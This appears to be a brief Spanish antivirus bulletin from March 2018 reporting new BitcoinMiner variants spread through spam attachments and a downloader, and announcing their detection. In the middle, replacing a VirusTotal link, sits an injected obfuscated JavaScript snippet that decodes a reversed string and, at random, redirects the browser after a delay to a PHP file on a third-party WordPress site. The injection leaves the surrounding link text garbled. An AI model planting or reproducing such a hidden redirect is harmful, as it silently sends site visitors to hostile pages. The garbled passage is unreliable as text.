SE SIGUEN RECIBIENDO NUEVAS VARIANTES DEL BITCOINMINER

Lo mas habitual de la llegada de dicho engendro es a traves de ficheros anexados a mails no solicitados, bien en ZIP, bien en ficheros DOC con macros, aparte de lo ultimo visto que es a traves de un downloader como el SCARSI

El preanalisis de virustotal ofrecen los siguientes informes:

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/de982e0888824e4051ab7cfbe6933245efb6c421780c997d43e3b34c02f0c711/analysis/1520851828/” target=”_blank” rel=”noopener”>informe sobre fichero 542dce02.exe

Dichas muestras las pasamos a controlar a partir del ELISTARA 38.64 de hoy, que estará disponible a partir del prox 13/3

saludos

ms, 12/3/2018                                                         z<